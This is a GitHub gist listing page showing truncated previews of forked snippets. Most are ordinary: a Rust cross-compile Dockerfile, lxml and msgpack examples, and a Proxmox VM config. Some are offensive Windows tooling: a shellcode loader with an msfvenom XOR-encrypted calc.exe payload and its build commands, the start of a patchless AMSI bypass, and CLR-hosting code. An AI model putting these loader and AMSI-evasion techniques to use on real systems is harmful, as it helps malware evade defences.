Skip to content

Instantly share code, notes, and snippets.

@luxcupitor
luxcupitor / xwin.dockerfile
Created May 13, 2024 13:40 — forked from Jake-Shadle/xwin.dockerfile
Example dockerfile for cross compilation of `x86_64-pc-windows-msvc` Rust binaries in a Linux container
# We'll just use the official Rust image rather than build our own from scratch
FROM docker.io/library/rust:1.54.0-slim-bullseye
ENV KEYRINGS /usr/local/share/keyrings
RUN set -eux; \
mkdir -p $KEYRINGS; \
apt-get update && apt-get install -y gpg curl; \
# clang/lld/llvm
curl --fail https://apt.llvm.org/llvm-snapshot.gpg.key | gpg --dearmor > $KEYRINGS/llvm.gpg; \
@luxcupitor
luxcupitor / lxml_examples.py
Created March 29, 2024 12:49 — forked from IanHopkinson/lxml_examples.py
Examples of xpath queries using lxml in python
#!/usr/bin/env python
# encoding: utf-8
import lxml.etree
import lxml.html
import requests
xml_sample = """<?xml version="1.0" encoding="UTF-8"?>
<foo:Results xmlns:foo="http://www.foo.com" xmlns="http://www.bah.com">
<foo:Recordset setCount="2">
@luxcupitor
luxcupitor / clrHosting_v4.0.cpp
Created March 22, 2024 14:50 — forked from aaaddress1/clrHosting_v4.0.cpp
CLR Hosting: running dotNet binary in C/C++ & rewrite from .NET(4+) COM interface
// CLR Hosting, by aaaddress1@chroot.org
//
// it's a new edition rewrite for .NET(4+) COM interface
// original from github.com/etormadiv/HostingCLR
// & blog.xpnsec.com/hiding-your-dotnet-etw
//
// this PoC supports the following .NET entry:
// >>>> static void Main(string[] args);
//
#include <stdio.h>
@luxcupitor
luxcupitor / byorwx.cpp
Created November 28, 2023 12:53 — forked from dadevel/byorwx.cpp
Bring your own RWX section
#include <cstdint>
// x86_64-w64-mingw32-g++ -lstdc++ -static -O3 -s -DPAYLOAD_SIZE=276 ./byorwx.cpp ./section.S -o ./byorwx.exe
// msfvenom -p windows/x64/exec -f c CMD=calc.exe --encrypt xor --encrypt-key abcdef
unsigned char buf[] =
"\x9d\x2a\xe0\x80\x95\x8e\xa1\x62\x63\x64\x24\x37\x20\x32"
"\x31\x35\x33\x2e\x50\xb0\x06\x2c\xee\x34\x01\x2a\xe8\x36"
"\x7d\x2e\xea\x30\x43\x2c\xee\x14\x31\x2a\x6c\xd3\x2f\x2c"
"\x2c\x53\xaa\x2c\x54\xa6\xcd\x5e\x02\x18\x67\x4a\x41\x23"
@luxcupitor
luxcupitor / CMakeLists.txt
Created November 27, 2023 19:12 — forked from physacco/CMakeLists.txt
MsgPack sample programs.
CMAKE_MINIMUM_REQUIRED(VERSION 2.8.2)
PROJECT(msgpack_test)
SET(CMAKE_CXX_FLAGS_DEBUG "-g -std=c++11")
SET(EXECUTABLES test_vector test_stream test_class test_array test_map1 test_map2)
FOREACH(EXE ${EXECUTABLES})
ADD_EXECUTABLE(${EXE} "${EXE}.cpp")
TARGET_LINK_LIBRARIES(${EXE} msgpack)
@luxcupitor
luxcupitor / msgpack_bin_str.cpp
Created November 27, 2023 19:11 — forked from redboltz/msgpack_bin_str.cpp
msgpack bin/str pack/unpack example.
// This program requires the C++11 compiler,
// e.g.) g++ -std=c++11 ...
// clang++ -std=c++11 ...
#include <iostream>
#include <iomanip>
#include <string>
#include <msgpack.hpp>
void print(char const* buf, std::size_t size) {
@luxcupitor
luxcupitor / pic-and-string-literals-2.md
Created April 17, 2023 12:01 — forked from EvanMcBroom/pic-and-string-literals-2.md
Pic and String Literals Part 2

PIC and String Literals Part 2

I previously wrote about how to use macro metaprogramming to simplify using string literals in position independent code (PIC). The results are summarized in the below code snippet and the article can be read on GitHub.

void f() {
    // Example 1: The Pic idiom for instantiating a string
    char picString1[]{ 'a', 'b', 'c' };
@luxcupitor
luxcupitor / 100.conf
Created February 23, 2023 21:21 — forked from mallendeo/100.conf
Windows 11 Gaming VM on Proxmox VFIO
##/etc/pve/qemu-server/100.conf
##Network and disks not included in this example
##Set halt_poll_ns
#set_halt_poll 0
##CPU pinning
#cpu_taskset 1-7
#assign_interrupts --sleep=10s 1-7 --all
agent: 1
@luxcupitor
luxcupitor / patchless_amsi.h
Created February 10, 2023 19:52 — forked from CCob/patchless_amsi.h
In-Process Patchless AMSI Bypass
#ifndef PATCHLESS_AMSI_H
#define PATCHLESS_AMSI_H
#include <windows.h>
static const int AMSI_RESULT_CLEAN = 0;
PVOID g_amsiScanBufferPtr = nullptr;
unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) {
@luxcupitor
luxcupitor / create_iso.cpp
Created January 4, 2023 20:37 — forked from daaximus/create_iso.cpp
create iso using imapi
#include <string>
#include <atlbase.h>
#include <imapi2fs.h>
void create_iso( std::wstring_view src, std::wstring_view iso_path )
{
HRESULT hr;
IFileSystemImage* fsimg;
IFsiDirectoryItem* fsdir;
IFileSystemImageResult* fsresult;